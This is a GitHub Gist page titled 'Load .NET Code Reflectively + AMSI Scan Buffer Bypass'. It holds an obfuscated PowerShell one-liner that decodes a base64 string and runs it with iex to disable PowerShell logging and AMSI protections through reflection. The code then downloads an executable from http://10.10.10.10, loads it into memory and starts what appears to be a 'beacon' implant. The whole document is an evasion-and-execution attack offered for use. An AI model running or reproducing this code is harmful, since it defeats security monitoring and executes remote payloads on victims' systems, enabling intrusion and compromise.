Created
May 28, 2021 09:09
-
-
Save aniqfakhrul/1e759dd04a1640c8bcc63c4b1aa9e746 to your computer and use it in GitHub Desktop.
Load .NET Code Reflectively + AMSI Scan Buffer Bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[SySTEM.TexT.EnCODING]::uNIcodE.getStriNG([sYsTEM.conVErt]::fROmBAsE64stRINg("IwBNAGEAdAB0ACAARwByAGEAZQBiAGUAcgBzACAAUgBlAGYAbABlAGMAdABpAG8AbgAgAG0AZQB0AGgAbwBkACAAdwBpAHQAaAAgAFcATQBGADUAIABhAHUAdABvAGwAbwBnAGcAaQBuAGcAIABiAHkAcABhAHMAcwAgAAoAWwBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAKAAiAEYAdQBuAGMAYABgADMAWwBTAHQAcgBpAG4AZwAsACAAJAAoACgAWwBTAHQAcgBpAG4AZwBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACQAKAAnAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdADtAPUAbgAuAEIA7QBuAGQA7QBuAGcARgBsAOMAZwBzACcALgBuAG8AUgBNAEEAbABpAFoAZQAoAFsAQwBIAGEAcgBdACgANwAwACoAMgA0AC8AMgA0ACkAKwBbAEMAaABBAHIAXQAoADEAMQAxACsAMQA2AC0AMQA2ACkAKwBbAGMASABBAHIAXQAoADEANAArADEAMAAwACkAKwBbAEMAaABhAHIAXQAoADcAKwAxADAAMgApACsAWwBjAEgAQQBSAF0AKAA2ADgAKgA0ADMALwA0ADMAKQApACAALQByAGUAcABsAGEAYwBlACAAWwBjAEgAYQBSAF0AKABbAEIAeQB0AEUAXQAwAHgANQBjACkAKwBbAEMAaABBAFIAXQAoAFsAQgB5AHQARQBdADAAeAA3ADAAKQArAFsAYwBoAGEAcgBdACgAWwBC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AAoACIATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAiACkAIAAtAGEAcwAgAFsAUwB0AHIAaQBuAGcAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAkACgAJwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQA7QD1AG4ALgBCAO0AbgBkAO0AbgBnAEYAbADjAGcAcwAnAC4AbgBvAFIATQBBAGwAaQBaAGUAKABbAEMASABhAHIAXQAoADcAMAAqADIANAAvADIANAApACsAWwBDAGgAQQByAF0AKAAxADEAMQArADEANgAtADEANgApACsAWwBjAEgAQQByAF0AKAAxADQAKwAxADAAMAApACsAWwBDAGgAYQByAF0AKAA3ACsAMQAwADIAKQArAFsAYwBIAEEAUgBdACgANgA4ACoANAAzAC8ANAAzACkAKQAgAC0AcgBlAHAAbABhAGMAZQAgAFsAYwBIAGEAUgBdACgAWwBCAHkAdABFAF0AMAB4ADUAYwApACsAWwBDAGgAQQBSAF0AKABbAEIAeQB0AEUAXQAwAHgANwAwACkAKwBbAGMAaABhAHIAXQAoAFsAQgBZAFQARQBdADAAeAA3AGIAKQArAFsAQwBIAEEAUgBdACgANwA3ACoAMgA5AC8AMgA5ACkAKwBbAGMASABhAHIAXQAoADEAMQAwACkAKwBbAGMAaABBAHIAXQAoAFsAQgB5AHQAZQBdADAAeAA3AGQAKQApACkAKQApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJABUAHIAdQBlACkAOwA="))|iex | |
Start-Sleep 1 | |
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/test.exe') | |
$assem = [System.Reflection.Assembly]::Load($data) | |
[beacon.Program]::Main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment